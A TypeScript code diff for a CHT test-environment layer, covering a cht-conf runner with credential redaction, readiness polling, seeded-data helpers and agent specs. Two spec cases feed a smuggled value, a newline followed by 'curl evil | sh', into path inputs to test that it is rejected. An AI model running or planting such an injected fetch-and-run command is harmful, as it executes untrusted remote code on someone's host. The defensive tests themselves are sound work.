+const OUTPUT_TAIL_LINES = 5;
+// cht-conf's log.js prefixes every line with a colour code (\x1b[31mERROR ...); the
+// escape's trailing `m` defeats \b, so strip before matching the level tag.
+// eslint-disable-next-line no-control-regex
+const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
+const ERROR_LINE = /^ERROR\b/;
+
+const outputLines = (output: string): string[] =>
+  output
+    .replaceAll(ANSI_ESCAPES, '')
+    .split('\n')
+    .map((line) => line.trim())
+    .filter((line) => line.length > 0);
+
+/** cht-conf's own account of a failure: its ERROR lines, else the last few lines. */
+export const outputTail = (output: string): string[] => {
+  const lines = outputLines(output);
+  const errors = lines.filter((line) => ERROR_LINE.test(line));
+  return (errors.length > 0 ? errors : lines).slice(-OUTPUT_TAIL_LINES).map((line) => `cht-conf: ${line}`);
+};
+
+/** cht-conf logs ERROR and still exits 0 on some paths (upload-custom-translations). */
+const loggedErrorButExitedZero = (run: ChtConfExecResult): boolean =>
+  run.exitCode === 0 && outputLines(run.output).some((line) => ERROR_LINE.test(line));
+
+/**
+ * Explain a bucket that produced no upload evidence. `matchedNothing` marks an unmatched
+ * form filter or a missing bucket input, as distinct from a hash-based skip of something
+ * that exists; applyConfig decides whether a targeted apply actually happened.
+ */
+const classifySkippedBucket = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
+  warnings: string[]
+): { status: ConfigActionStatus; matchedNothing: boolean } => {
+  const lower = run.output.toLowerCase();
+  if (NO_WORK_LINE.test(lower)) {
+    const what =
+      options.artifact !== undefined && FORM_BUCKETS.has(options.action)
+        ? `no artifact named "${options.artifact}"`
+        : 'nothing to upload (missing bucket input)';
+    warnings.push(`cht-conf ${options.action} matched ${what}`);
+    return { status: 'skipped', matchedNothing: true };
+  }
+  if (!SKIP_LINE.test(lower)) {
+    warnings.push(`cht-conf ${options.action} produced no upload or skip line — treated as skipped`);
+  }
+  return { status: 'skipped', matchedNothing: false };
+};
+
+/**
+ * Strip basic-auth userinfo from any URL in text. cht-conf runs with the
+ * credentialed `--url` under `--verbose` and echoes URLs on some paths, so its
+ * output is redacted at this boundary — no caller (a log line, a trace span, an
+ * error message) can leak the instance password by forwarding it.
+ */
+export const redactUrlCreds = (text: string): string => text.replaceAll(/(\/\/)[^/\s:@]+:[^/\s]*@/g, '$1***:***@');
+
+/**
+ * Run one `cht` process for an ordered verb list. Resolves with the raw
+ * outcome (never rejects — spawn errors and timeouts are folded into the
+ * result so callers can aggregate without try/catch per invocation).
+ */
+export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResult> => {
+  const bin = options.bin ?? resolveChtConfBin();
+  const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
+  const args = buildExecArgs(options);
+
+  // Log the verbs, never the cred-embedded URL.
+  const label = options.logLabel ?? options.verbs.join(' ');
+  console.log(`[cht-conf] ${label} (--source=${options.configPath})`);
+
+  return new Promise((resolve) => {
+    const proc = spawn(bin, args, {
+      env: minimalEnv(),
+      stdio: ['ignore', 'pipe', 'pipe'],
+      ...(options.cwd !== undefined ? { cwd: options.cwd } : {}),
+    });
+    const chunks: string[] = [];
+    let settled = false;
+
+    const finish = (result: Omit<ChtConfExecResult, 'output'>): void => {
+      if (settled) {
+        return;
+      }
+      settled = true;
+      clearTimeout(timeoutId);
+      resolve({ ...result, output: redactUrlCreds(chunks.join('')) });
+    };
+
+    const timeoutId = setTimeout(() => {
+      // Signals reach only the direct child: an xls2xform grandchild spawned by a form
+      // conversion can outlive the timeout.
+      proc.kill('SIGTERM');
+      const hardKill = setTimeout(() => proc.kill('SIGKILL'), 5_000);
+      hardKill.unref();
+      proc.once('close', () => clearTimeout(hardKill));
+      finish({ exitCode: null, timedOut: true });
+    }, timeoutMs);
+
+    proc.stdout?.on('data', (data) => chunks.push(data.toString()));
+    proc.stderr?.on('data', (data) => chunks.push(data.toString()));
+
+    proc.on('error', (error) => {
+      // ENOENT covers both a missing binary and an unreachable cwd — name both,
+      // and say so, because the bare errno sends people hunting the wrong one.
+      const where = options.cwd === undefined ? `bin=${bin}` : `bin=${bin}, cwd=${options.cwd}`;
+      const hint = error.message.includes('ENOENT')
+        ? ' — check that cht-conf is on PATH (or set CHT_CONF_BIN) and that the cwd exists'
+        : '';
+      finish({ exitCode: null, timedOut: false, startError: `${error.message} (${where})${hint}` });
+    });
+
+    proc.on('close', (code) => {
+      finish({ exitCode: code, timedOut: false });
+    });
+  });
+};
+
+/** Failures stdout parsing cannot see: a timeout or a spawn error. */
+const noteHardFailure = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
+  warnings: string[]
+): boolean => {
+  if (run.timedOut) {
+    warnings.push(`cht-conf ${options.action} timed out after ${options.timeoutMs ?? DEFAULT_TIMEOUT_MS}ms`);
+    return true;
+  }
+  if (run.startError !== undefined) {
+    warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
+    return true;
+  }
+  return false;
+};
+
+/** Map a finished bucket run onto a ConfigActionStatus, appending any failure warning. */
+const deriveBucketStatus = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
+  warnings: string[]
+): { status: ConfigActionStatus; matchedNothing: boolean } => {
+  if (noteHardFailure(run, options, warnings)) {
+    return { status: 'failed', matchedNothing: false };
+  }
+  const status = classifyChtConfOutput(run.output, run.exitCode);
+  if (status === 'failed') {
+    warnings.push(...outputTail(run.output));
+    return { status, matchedNothing: false };
+  }
+  // For some problems, cht-conf logs ERROR and continues: for example a translation
+  // file named messages-luo.properties, or a failed couch-config read. Report those
+  // lines, but keep the status.
+  if (loggedErrorButExitedZero(run)) {
+    warnings.push(`cht-conf ${options.action} exited 0 but logged errors`, ...outputTail(run.output));
+  }
+  return status === 'skipped' ? classifySkippedBucket(run, options, warnings) : { status, matchedNothing: false };
+};
+
+/**
+ * Run one cht-conf upload bucket against the instance. Resolves with the
+ * per-bucket result (never rejects — a non-zero exit or spawn error becomes
+ * `status: 'failed'` so the caller can aggregate without try/catch per bucket).
+ */
+export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
+  const warnings: string[] = [];
+
+  if (options.artifact && !FORM_BUCKETS.has(options.action)) {
+    warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
+  }
+
+  const run = await runChtConf(bucketExecOptions(options));
+
+  const { status, matchedNothing } = deriveBucketStatus(run, options, warnings);
+  return {
+    action: options.action,
+    status,
+    commands: [...verbs],
+    warnings,
+    matchedNothing,
+  };
+};
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
new file mode 100644
index 00000000..82c79b6c
--- /dev/null
+++ b/src/utils/cht-readiness.ts
@@ -0,0 +1,150 @@
+/**
+ * CHT readiness polling for the Test Environment Layer.
+ *
+ * The agent never runs Docker — the human brings the environment up. This util
+ * polls the CHT monitoring endpoint until the instance reports healthy, or
+ * rejects with a clear "is the environment up?" message.
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md
+ */
+
+import { ReadinessOptions } from '../types';
+
+const MONITORING_PATH = '/api/v2/monitoring';
+const MIN_PROBE_MS = 1_000;
+
+// Waiting cannot fix a certificate the runtime does not trust, or a URL that redirects.
+const TLS_VERIFY_CODES = new Set([
+  'DEPTH_ZERO_SELF_SIGNED_CERT',
+  'SELF_SIGNED_CERT_IN_CHAIN',
+  'UNABLE_TO_VERIFY_LEAF_SIGNATURE',
+  'UNABLE_TO_GET_ISSUER_CERT_LOCALLY',
+  'CERT_HAS_EXPIRED',
+  'ERR_TLS_CERT_ALTNAME_INVALID',
+]);
+
+type NotReady = { ready: false; reason: string; terminal: boolean };
+type ProbeOutcome = { ready: true } | NotReady;
+type FetchResponse = Awaited<ReturnType<typeof fetch>>;
+
+const READY: ProbeOutcome = { ready: true };
+
+const sleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(resolve, ms));
+
+const causeOf = (error: Error): NodeJS.ErrnoException | undefined =>
+  error.cause instanceof Error ? error.cause : undefined;
+
+/** Node reports every network and TLS failure as `fetch failed`; the reason is on error.cause. */
+const describeProbeFailure = (error: unknown): NotReady => {
+  if (!(error instanceof Error)) {
+    return { ready: false, reason: 'unreachable', terminal: false };
+  }
+  const cause = causeOf(error);
+  const detail = cause?.message || cause?.code;
+  const untrusted = cause?.code !== undefined && TLS_VERIFY_CODES.has(cause.code);
+  const reason = detail ? `${error.message} (${detail})` : error.message;
+  // Node loads NODE_EXTRA_CA_CERTS once, no later than its first TLS connection attempt; each new
+  // cht-ssl volume has a new cert.
+  const hint =
+    '; start the agent trusting the current stack cert.pem (NODE_EXTRA_CA_CERTS) and dial the host it ' +
+    'names (an expired cert needs a new cht-ssl volume)';
+  return { ready: false, reason: untrusted ? `${reason}${hint}` : reason, terminal: untrusted };
+};
+
+/** Monitoring reports '' for a version it cannot read, i.e. while the app or CouchDB is down. */
+const isVersion = (value: unknown): boolean => typeof value === 'string' && value !== '';
+
+const isHealthy = (body: unknown): boolean => {
+  const version = (body as { version?: { app?: unknown; couchdb?: unknown } } | null)?.version;
+  return isVersion(version?.app) && isVersion(version?.couchdb);
+};
+
+const classifyResponse = async (response: FetchResponse): Promise<ProbeOutcome> => {
+  if (response.status >= 300 && response.status < 400) {
+    const reason = `HTTP ${response.status} redirect — check the URL's scheme and host`;
+    return { ready: false, reason, terminal: true };
+  }
+  if (!response.ok) {
+    const retryable = response.status >= 500 || response.status === 408 || response.status === 429;
+    return { ready: false, reason: `HTTP ${response.status}`, terminal: !retryable };
+  }
+  const body: unknown = await response.json().catch(() => null);
+  return isHealthy(body) ? READY : { ready: false, reason: 'the app or CouchDB is not up yet', terminal: false };
+};
+
+const probeOnce = async (url: string, requestTimeoutMs: number): Promise<ProbeOutcome> => {
+  try {
+    const response = await fetch(`${url}${MONITORING_PATH}`, {
+      // Until cht-api is up it answers every route with a 200 "starting" page, and returns
+      // its 503 only to clients that ask for JSON.
+      headers: { Accept: 'application/json' },
+      redirect: 'manual',
+      signal: AbortSignal.timeout(requestTimeoutMs),
+    });
+    return await classifyResponse(response);
+  } catch (error) {
+    return describeProbeFailure(error);
+  }
+};
+
+const resolveReadiness = (options: ReadinessOptions): Required<ReadinessOptions> => {
+  const maxDelayMs = options.maxDelayMs ?? 15_000;
+  return {
+    maxWaitMs: options.maxWaitMs ?? 120_000,
+    maxDelayMs,
+    requestTimeoutMs: options.requestTimeoutMs ?? 10_000,
+    initialDelayMs: Math.min(options.initialDelayMs ?? 2_000, maxDelayMs),
+  };
+};
+
+const assertFiniteBudget = (maxWaitMs: number): void => {
+  if (!Number.isFinite(maxWaitMs) || maxWaitMs < 0) {
+    throw new Error(`waitForReady: maxWaitMs must be a finite, non-negative number (got ${maxWaitMs})`);
+  }
+};
+
+const reportChange = (outcome: NotReady, previous: string | undefined): string => {
+  if (outcome.reason !== previous) {
+    console.log(`[cht-readiness] not ready: ${outcome.reason}`);
+  }
+  return outcome.reason;
+};
+
+const isFinal = (outcome: NotReady, remaining: number, reserve: number): boolean =>
+  outcome.terminal || remaining <= reserve;
+
+const notReadyError = (url: string, maxWaitMs: number, outcome: NotReady): Error =>
+  new Error(
+    outcome.terminal
+      ? `CHT at ${url} cannot become ready as configured: ${outcome.reason}.`
+      : `CHT did not become ready at ${url} within ${maxWaitMs}ms (last: ${outcome.reason}). ` +
+          'Is the environment up? Bring it up (human-gated) and retry.'
+  );
+
+/**
+ * Poll `${url}/api/v2/monitoring` until it reports healthy, using exponential backoff.
+ * The last sleep stops short of the deadline so the final probe has a real budget.
+ */
+export const waitForReady = async (url: string, options: ReadinessOptions = {}): Promise<void> => {
+  const { maxWaitMs, maxDelayMs, requestTimeoutMs, initialDelayMs } = resolveReadiness(options);
+  assertFiniteBudget(maxWaitMs);
+  const reserve = Math.min(requestTimeoutMs, MIN_PROBE_MS);
+  const start = Date.now();
+  let delay = initialDelayMs;
+  let previousReason: string | undefined;
+
+  for (;;) {
+    const budget = Math.min(requestTimeoutMs, Math.max(maxWaitMs - (Date.now() - start), reserve));
+    const outcome = await probeOnce(url, budget);
+    if (outcome.ready) {
+      return;
+    }
+    previousReason = reportChange(outcome, previousReason);
+    const remaining = maxWaitMs - (Date.now() - start);
+    if (isFinal(outcome, remaining, reserve)) {
+      throw notReadyError(url, maxWaitMs, outcome);
+    }
+    await sleep(Math.min(delay, remaining - reserve));
+    delay = Math.min(delay * 1.5, maxDelayMs);
+  }
+};
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
new file mode 100644
index 00000000..c36ad8d8
--- /dev/null
+++ b/src/utils/test-data.ts
@@ -0,0 +1,259 @@
+/**
+ * Test-data helpers for the Test Environment Layer.
+ *
+ * Everything prepareTestData needs around the cht-conf runner: reading json_docs
+ * and tracking which of its files this layer generated (the fs access is isolated
+ * here, the way cht-readiness.ts isolates fetch), classifying seeded docs against
+ * the discovered config, and parsing cht-conf's stdout (upload-docs summary,
+ * create-users progress). cht-conf logs every level to STDOUT with ANSI color
+ * prefixes (cht-conf's src/lib/log.js), so the parsers strip escapes first.
+ *
+ * Verified against the installed cht-conf 6.5.0 src: csv-to-docs.js writes
+ * `<project>/json_docs/<id>.doc.json`; upload-docs.js logs
+ * "Summary: <ok> of <total> docs uploaded OK."; create-users.js logs
+ * "Creating user <username>" before each POST /api/v1/users.
+ */
+
+import { createHash } from 'node:crypto';
+import { existsSync, readdirSync, readFileSync, unlinkSync, writeFileSync } from 'node:fs';
+import { basename, join } from 'node:path';
+import { DiscoveredConfig } from '../types';
+
+const DOC_FILE_EXTENSION = '.doc.json';
+// Beside json_docs, never in it, so upload-docs cannot pick it up.
+const OWNERSHIP_MANIFEST = '.cht-agent-seeded.json';
+
+/** A doc csv-to-docs generated, reduced to what classification needs. */
+export interface SeededDoc {
+  id: string;
+  type: string;
+  contactType?: string;
+}
+
+/** Doc counts per TestDataResult bucket, plus classification warnings. */
+export interface SeededDocCounts {
+  places: number;
+  people: number;
+  reports: number;
+  warnings: string[];
+}
+
+// cht-conf's log lines carry ANSI color codes (e.g. \x1b[32mINFO ... \x1b[0m).
+// eslint-disable-next-line no-control-regex
+const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
+
+const stripAnsi = (output: string): string => output.replaceAll(ANSI_ESCAPES, '');
+
+/**
+ * Parse upload-docs' summary line ("Summary: 12 of 12 docs uploaded OK.").
+ * Returns undefined when no summary was printed — upload-docs exits 0 without
+ * one when json_docs is missing or empty, so absence means "nothing uploaded".
+ */
+export const parseUploadDocsSummary = (output: string): { uploaded: number; total: number } | undefined => {
+  const match = /summary: (\d+) of (\d+) docs uploaded ok/i.exec(stripAnsi(output));
+  if (!match) {
+    return undefined;
+  }
+  return { uploaded: Number.parseInt(match[1], 10), total: Number.parseInt(match[2], 10) };
+};
+
+/**
+ * Count create-users' "Creating user <name>" progress lines. Each line is
+ * logged immediately BEFORE the POST /api/v1/users call, so on a clean exit
+ * the count equals the users created; on a failed exit the last logged
+ * attempt is the one that blew up (callers subtract it).
+ */
+export const countCreatedUsers = (output: string): number => {
+  const matches = stripAnsi(output).match(/\bCreating user /g);
+  return matches ? matches.length : 0;
+};
+
+/** True when the data project has a users.csv for create-users to consume. */
+export const hasUsersCsv = (dataPath: string): boolean => existsSync(join(dataPath, 'users.csv'));
+
+/** True when the data project has CSV inputs for csv-to-docs to regenerate docs from. */
+export const hasCsvInput = (dataPath: string): boolean => existsSync(join(dataPath, 'csv'));
+
+const docDirOf = (dataPath: string): string => join(dataPath, 'json_docs');
+
+/**
+ * Every *.doc.json under json_docs, relative to it, with the same two filters as upload-docs.
+ * cht-conf's recurseFiles skips every dot-prefixed file or directory and ignores a dangling
+ * symlink.
+ */
+export const listDocFiles = (dataPath: string): string[] => {
+  const docDir = docDirOf(dataPath);
+  if (!existsSync(docDir)) {
+    return [];
+  }
+  return readdirSync(docDir, { recursive: true, encoding: 'utf-8' })
+    .filter((file) => file.endsWith(DOC_FILE_EXTENSION))
+    .filter((file) => !/(?:^|[\\/])\./.test(file) && existsSync(join(docDir, file)))
+    .sort((a, b) => a.localeCompare(b));
+};
+
+const hashDocFile = (dataPath: string, file: string): string =>
+  createHash('sha256').update(readFileSync(join(docDirOf(dataPath), file))).digest('hex');
+
+/** An absent or unreadable manifest proves nothing is ours, which fails closed. */
+const readOwnershipManifest = (dataPath: string): Record<string, unknown> => {
+  try {
+    const parsed: unknown = JSON.parse(readFileSync(join(dataPath, OWNERSHIP_MANIFEST), 'utf-8'));
+    return parsed !== null && typeof parsed === 'object' ? (parsed as Record<string, unknown>) : {};
+  } catch {
+    return {};
+  }
+};
+
+// csv-to-docs names every file `<uuid v5 _id>.doc.json`, at the top of json_docs
+// (cht-conf csv-to-docs.js withId).
+const GENERATED_DOC_FILE =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\.doc\.json$/;
+
+/**
+ * Record the doc files csv-to-docs wrote as generated by this layer. Only call it right after
+ * csv-to-docs ran into a json_docs that held nothing else (see prepareDocs). A file that
+ * appeared meanwhile under another name or in a subdirectory stays foreign, so the next run
+ * refuses it instead of deleting it.
+ */
+export const recordOwnedDocFiles = (dataPath: string): void => {
+  const manifest: Record<string, string> = {};
+  for (const file of listDocFiles(dataPath).filter((name) => GENERATED_DOC_FILE.test(name))) {
+    manifest[file] = hashDocFile(dataPath, file);
+  }
+  writeFileSync(join(dataPath, OWNERSHIP_MANIFEST), `${JSON.stringify(manifest, null, 2)}\n`);
+};
+
+/**
+ * Doc files this layer cannot prove it generated: not in the manifest, or edited since.
+ * json_docs is also cht-conf's hand-authored upload-docs input, so these are the operator's.
+ */
+export const findForeignDocFiles = (dataPath: string): string[] => {
+  const manifest = readOwnershipManifest(dataPath);
+  return listDocFiles(dataPath).filter((file) => manifest[file] !== hashDocFile(dataPath, file));
+};
+
+/** Delete the doc files a previous csv-to-docs run generated, while unchanged. Returns the count. */
+export const removeOwnedDocFiles = (dataPath: string): number => {
+  const manifest = readOwnershipManifest(dataPath);
+  const owned = listDocFiles(dataPath).filter((file) => manifest[file] === hashDocFile(dataPath, file));
+  for (const file of owned) {
+    unlinkSync(join(docDirOf(dataPath), file));
+  }
+  return owned.length;
+};
+
+const parseSeededDoc = (dataPath: string, file: string): SeededDoc => {
+  let doc: { _id?: unknown; type?: string; contact_type?: string; _deleted?: unknown };
+  try {
+    doc = JSON.parse(readFileSync(join(docDirOf(dataPath), file), 'utf-8'));
+  } catch (error) {
+    throw new Error(`json_docs/${file} is not valid JSON: ${(error as Error).message}`);
+  }
+  // upload-docs refuses the whole directory, uploading nothing, when one file's _id is not its
+  // name. Refuse here, so the couchdb reset fails before its wipe instead of after it.
+  const id = basename(file, DOC_FILE_EXTENSION);
+  if (doc._id !== id) {
+    throw new Error(`json_docs/${file} must set _id "${id}", its file name, for upload-docs`);
+  }
+  // A seed only creates docs. A deletion doc with cht_disable_linked_users also makes upload-docs
+  // disable or edit every account at that place via /api/v1/users, which no id check sees.
+  if (doc._deleted) {
+    throw new Error(`json_docs/${file} is a deletion (_deleted); test data can only create docs`);
+  }
+  return {
+    id,
+    type: doc.type ?? '',
+    ...(doc.contact_type !== undefined ? { contactType: doc.contact_type } : {}),
+  };
+};
+
+/**
+ * Read every doc under `<dataPath>/json_docs` (recursively). A malformed file throws, naming
+ * it: the seeding evidence and the reset worklist both come from this listing.
+ */
+export const readSeededDocs = (dataPath: string): SeededDoc[] =>
+  listDocFiles(dataPath).map((file) => parseSeededDoc(dataPath, file));
+
+/** Which TestDataResult bucket a single seeded doc counts toward. */
+type DocBucket = 'places' | 'people' | 'reports' | 'skip';
+
+/** Configurable hierarchies store the real type in contact_type. */
+const resolveContactType = (doc: SeededDoc): string =>
+  doc.type === 'contact' ? (doc.contactType ?? '') : doc.type;
+
+/**
+ * Decide the bucket for one seeded doc against the discovered config. `skip` is
+ * a `user` account artifact (create-users owns that count). The resolved
+ * contact type is returned for the unknown-type warning.
+ */
+const classifyOneDoc = (
+  doc: SeededDoc,
+  personTypes: Set<string>
+): { bucket: DocBucket; contactType: string } => {
+  if (doc.type === 'data_record') {
+    return { bucket: 'reports', contactType: doc.type };
+  }
+  if (doc.type === 'user') {
+    return { bucket: 'skip', contactType: doc.type };
+  }
+  const contactType = resolveContactType(doc);
+  if (contactType === 'person' || personTypes.has(contactType)) {
+    return { bucket: 'people', contactType };
+  }
+  return { bucket: 'places', contactType };
+};
+
+/** Once-per-type bookkeeping for the unknown-contact-type warning. */
+interface UnknownTypeTracker {
+  /** Contact type ids present in the discovered config. */
+  known: Set<string>;
+  /** Types already warned about, so each warns at most once. */
+  warned: Set<string>;
+}
+
+/**
+ * Warn once per contact type that landed in `places` without being in the
+ * discovered config (an unknown type counted as a place).
+ */
+const noteUnknownType = (
+  bucket: DocBucket,
+  contactType: string,
+  tracker: UnknownTypeTracker,
+  warnings: string[]
+): void => {
+  if (bucket === 'places' && !tracker.known.has(contactType) && !tracker.warned.has(contactType)) {
+    tracker.warned.add(contactType);
+    warnings.push(`contact type "${contactType}" is not in the discovered config; counted as a place`);
+  }
+};
+
+/**
+ * Classify seeded docs into TestDataResult buckets using the DISCOVERED
+ * config (a `person: true` contact type counts as a person even under a
+ * custom hierarchy). `user` docs are csv-to-docs artifacts of users.*.csv
+ * inputs, not accounts — create-users owns the usersCreated count, so they
+ * are tracked for reset but not counted here. Unknown contact types count as
+ * places, once-per-type warned.
+ */
+export const classifySeededDocs = (docs: SeededDoc[], config: DiscoveredConfig): SeededDocCounts => {
+  const personTypes = new Set(
+    config.contactTypes.filter((contactType) => contactType.person === true).map((contactType) => contactType.id)
+  );
+  const tracker: UnknownTypeTracker = {
+    known: new Set(config.contactTypes.map((contactType) => contactType.id)),
+    warned: new Set<string>(),
+  };
+  const counts: SeededDocCounts = { places: 0, people: 0, reports: 0, warnings: [] };
+
+  for (const doc of docs) {
+    const { bucket, contactType } = classifyOneDoc(doc, personTypes);
+    if (bucket === 'skip') {
+      continue;
+    }
+    noteUnknownType(bucket, contactType, tracker, counts.warnings);
+    counts[bucket] += 1;
+  }
+
+  return counts;
+};
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 03d25bed..9517a5c6 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -1,6 +1,42 @@
 import { expect } from 'chai';
+import { resolve } from 'node:path';
+import * as sinon from 'sinon';
 import { TestEnvironmentAgent } from '../../src/agents/test-environment-agent';
-import { DiscoveredConfig, EnvironmentHandle, ProvisionOptions, ResetTier } from '../../src/types';
+import * as chtConfRunner from '../../src/utils/cht-conf-runner';
+import * as chtApi from '../../src/utils/cht-api';
+import * as testData from '../../src/utils/test-data';
+import {
+  ChtConfExecResult,
+  ConfigActionResult,
+  ConfigUploadAction,
+  DiscoveredConfig,
+  EnvironmentHandle,
+  ProvisionOptions,
+  ResetTier,
+} from '../../src/types';
+
+// The printed gates read these.
+const GATE_ENV_KEYS = ['CHT_TEST_ENV_PROJECT', 'CHT_CORE_HOST_PATH'];
+
+/** Clear `keys` from the env for each test in the enclosing describe, and restore them after. */
+const isolateEnv = (keys: string[]): void => {
+  const prior: Record<string, string | undefined> = {};
+  beforeEach(() => {
+    for (const key of keys) {
+      prior[key] = process.env[key];
+      delete process.env[key];
+    }
+  });
+  afterEach(() => {
+    for (const key of keys) {
+      if (prior[key] === undefined) {
+        delete process.env[key];
+      } else {
+        process.env[key] = prior[key];
+      }
+    }
+  });
+};
 
 describe('TestEnvironmentAgent', () => {
   let agent: TestEnvironmentAgent;
@@ -47,7 +83,7 @@ describe('TestEnvironmentAgent', () => {
       const handle = await agent.provision({ version: '4.18.0' });
 
       expect(handle.source).to.equal('mock');
-      expect(handle.chtCorePath).to.equal(undefined);
+      expect(handle.chtCorePath).to.be.undefined;
     });
 
     it('should carry chtCorePath on the handle when built from local code', async () => {
@@ -56,6 +92,25 @@ describe('TestEnvironmentAgent', () => {
       expect(handle.chtCorePath).to.equal('/workspace/cht-core');
     });
 
+    it('should strip embedded credentials from a mock handle, as the real path does', async () => {
+      const handle = await agent.provision({ version: '4.18.0', url: 'https://ops:secret@nginx' });
+
+      expect(handle.url).to.equal('https://nginx');
+      expect(handle.url).to.not.include('secret');
+      expect(handle.auth).to.deep.equal({ user: 'ops', password: 'secret' });
+    });
+
+    it('should reject an invalid mock URL without carrying its password on the error', async () => {
+      try {
+        await agent.provision({ version: '4.18.0', url: 'https://ops:secret@exa mple' });
+        expect.fail('expected provision to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('not a valid URL');
+        expect((error as Error).message).to.not.include('secret');
+        expect((error as { input?: string }).input).to.be.undefined;
+      }
+    });
+
     it('should honor a network override', async () => {
       const handle = await agent.provision({ version: '4.18.0', network: 'custom-net' });
 
@@ -71,46 +126,661 @@ describe('TestEnvironmentAgent', () => {
       }
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+    it('should reject a chtCorePath containing control characters (it is printed into human-gate commands)', async () => {
+      try {
+        await agent.provision({ chtCorePath: '/srv/cht-core\ncurl evil | sh' });
+        expect.fail('Should have thrown an error');
+      } catch (error) {
+        expect((error as Error).message).to.include('control characters');
+      }
+    });
 
+    it('should reject a chtCorePath that starts with ~, which the single-quoted gates never expand', async () => {
       try {
-        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+        await agent.provision({ chtCorePath: '~/src/cht-core' });
         expect.fail('Should have thrown an error');
       } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
+        expect((error as Error).message).to.include('starts with ~');
       }
     });
+
+    describe('real mode (useMockDocker: false)', () => {
+      let fetchStub: sinon.SinonStub;
+      // Readiness asks for the monitoring JSON; the credential check then reads /_session.
+      const healthyFetch = async (url: string) => ({
+        ok: true,
+        status: 200,
+        json: async () =>
+          url.endsWith('/_session')
+            ? { userCtx: { name: 'medic', roles: ['_admin'] } }
+            : { version: { app: '4.18.0', couchdb: '3.4.2' } },
+      });
+      const sessionAnswering = (status: number, userCtx: unknown) => async (url: string) =>
+        url.endsWith('/_session') ? { ok: status < 300, status, json: async () => ({ userCtx }) } : healthyFetch(url);
+      // Provision reads these; isolate every test from the ambient env.
+      isolateEnv(['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD', 'CHT_TEST_ENV_ALLOW_EXTERNAL', ...GATE_ENV_KEYS]);
+
+      beforeEach(() => {
+        fetchStub = sinon.stub(globalThis, 'fetch' as any);
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should return a docker handle once the environment is healthy', async () => {
+        fetchStub.callsFake(healthyFetch);
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        expect(handle.source).to.equal('docker');
+        expect(handle.url).to.equal('https://nginx');
+        expect(handle.auth).to.deep.equal({ user: 'medic', password: 'password' });
+        expect(handle.network).to.equal('cht-agent-net');
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
+      it('should print the bring-up gate with the cht-core path shell-quoted', async () => {
+        fetchStub.callsFake(healthyFetch);
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/workspace/cht-core'"))).to.equal(true);
+      });
+
+      it('should print CHT_CORE_HOST_PATH in the gate, since the human runs it on the host', async () => {
+        fetchStub.callsFake(healthyFetch);
+        process.env.CHT_CORE_HOST_PATH = '/home/op/cht-core';
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/home/op/cht-core'"))).to.equal(true);
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
+      it('should refuse a CHT_CORE_HOST_PATH containing control characters', async () => {
+        process.env.CHT_CORE_HOST_PATH = '/home/op/cht-core\ncurl evil | sh';
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('CHT_CORE_HOST_PATH contains control characters');
+        }
+        expect(fetchStub.called).to.equal(false);
+      });
+
+      it('should ignore version when a working copy is also given, as mock mode does', async () => {
+        fetchStub.callsFake(healthyFetch);
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', version: '4.18.0' });
+
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
+      it('should refuse a published version: real mode brings stacks up from a working copy only', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ version: '4.18.0' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('no published-version bring-up');
+        }
+        expect(fetchStub.called).to.equal(false);
+      });
+
+      it('should carry an explicit CHT_TEST_ENV_PROJECT into the printed gate', async () => {
+        fetchStub.callsFake(healthyFetch);
+        process.env.CHT_TEST_ENV_PROJECT = 'my-proj';
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
